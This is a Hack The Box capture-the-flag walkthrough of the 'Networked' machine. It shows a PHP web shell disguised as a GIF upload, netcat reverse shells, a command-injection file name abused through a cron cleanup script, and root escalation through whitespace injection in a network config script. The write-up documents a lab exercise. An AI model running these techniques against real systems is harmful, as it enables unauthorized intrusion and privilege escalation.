HacktheBox - Networked


Nmap - Full TCP Scan

Let's start with a TCP scan of the target ip address to determine which ports are open and the services running on those ports:

nmap -p- -sC -sV -oA nmap/full.tcp

The flags explained:

-p- Scan every TCP port
-sC Run the default nmap script scan to find potential vulnerabilities
-sV Detect the service version
-oA Output the result of the scan in all formats as nmap/full.tcp

Scan Result:

22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

We see that Ports 22 and 80 are open, but even though port 443 is shown as closed, it is still listed in the output, this may be something to take note of.

Enumeration - Port 80

Browse to

We find a message on the index.php page:

Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse 

At the moment, this doesnt mean much to me - so on checking the page source code, we see a comment regarding possible directories/pages:

<!-- upload and gallery not yet linked -->


Lets start a gobuster to find any hidden directories or php files, as we know that the webserver is using php:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

and we do find some files which are accessible to us:

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)


Inside the backup directory, we find a file called backup.tar. We can copy the file to our machine to investigate further:

mkdir backup
cd backup
tar -xvf backup.tar

The backup.tar file contained the source code to the 4 php scripts found in the gobuster above. Lets take a snippet from upload.php and lib.php:


// $name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;


function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);

We can see that as long as the file we want to upload it one of the above image file types, the file will be uploaded - but what is interesting is that we can see from lib.php, that we can possibly add the .php extention to .gif for example and have it execute the php code, but look like an image file - bypassing the file upload restriction.

Lets try it out by adding the gif file identifier GIF89A to a simple php command file called command.php.gif:

<?php echo system($_GET[cmd]); ?>

we can see if the php command is recognised as a .gif file with the file command:

file command.php.gif 
command.php.gif: GIF image data, version 89a, 2619 x 16188


Lets try and upload the file command.php.gif via curl to /upload.php:

curl -F "myFile=@command.php.gif;type=image/gif" -F "submit=go"

... and we get the message to tell us our upload was successful!

<p>file uploaded, refresh gallery</p>

We can find our uploaded file and its custom name via /photos.php, the new name of our file is 10_10_14_59.php.gif.

Lets use curl to interact with the file via the /upload directory and give it a command to ses if we have command execution:


We have just confirmed that we have command execution on the webserver as the user apache!

Initial Foothold - Apache to Guly

Netcat reverse shell

Now that we have confirmed command execution with a simple whoami command, lets now get a shell on the machine by modifying the previous curl command to include a netcat reverse shell one liner!

Start a netcat listener on our machine, I also like to add rlwrap as it allows more functionality with limited shells by being able to use the up key etc:

rlwrap nc -lvnp 443

Modify the curl command, making sure to encode the spaces with its url encoded character, %20:


... and we get a connection on our netcat listener!

rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 51700
uid=48(apache) gid=48(apache) groups=48(apache)

Scheduled job + Exploitable script

It would seem that we still have some work to do as to get the user flag, we need to become the user Guly.

Checking inside Guly's home directory, we can read two interesting files, crontab.guly and check_attack.php


*/3 * * * * php /home/guly/check_attack.php

The crontab.guly file indicates that every 3 minutes, check_attack.php is executed.


require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
  if ($value == 'index.html') {
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");


The check_attack.php file is being used to check for any files in the uploads directory that do not contain an IP Address as the filename, and sends an email to guly with the filename that was removed - but we can see that the rm command is being executed against the file to be deleted without any filtering, meaning it is vulnerable to command injection.

Start a necat listener:

rlwrap nc -lvnp 8080

We are able to use the touch command to concatenate the filename with a semi colon, meaning when the file gets deleted, it will execute our netcat command:

touch ';nc 8080 -c bash'

Our file looks like this in the /uploads directory:

-rw-r--r-- 1 apache apache 0 Apr 5 18:05 ;nc 8080 -c bash

... and after a few minutes, we get a connection to our listener as Guly!

rlwrap nc -lvnp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 41258
sh-4.2$ whoami

Upgrade our current shell connection into a full TTY shell:

python -c 'import pty; pty.spawn("/bin/bash")'

And we can now grab the user.txt file!


Privilege Escalation - Guly to Root

sudo -l

Running though my usual priv esc methods, I found that guly is able to run the following script as root with no password:

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Lets take a look at the contents of changename.sh

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
/sbin/ifup guly0

We can see that the script is of course using bash, but more importantly, the script allows white/blank space in commands, as you can see from regexp=.

The reason that allowing blank/white space in the script is dangerous is due to a vulnerablility within /etc/sysconfig/network-scripts.

The NAME attributed in the network script is not handled correctly, meaning if there is any white/blank space in the parameters, the system tries to execute the content after the white/blank space, meaning any command after the blank space is executed as root.

sudo /usr/local/sbin/changename.sh
interface NAME:
interface PROXY_METHOD:
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:
test bash -i 
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)

... and we are now root!


Thanks for reading!

Craig Underhill

Read more posts by this author.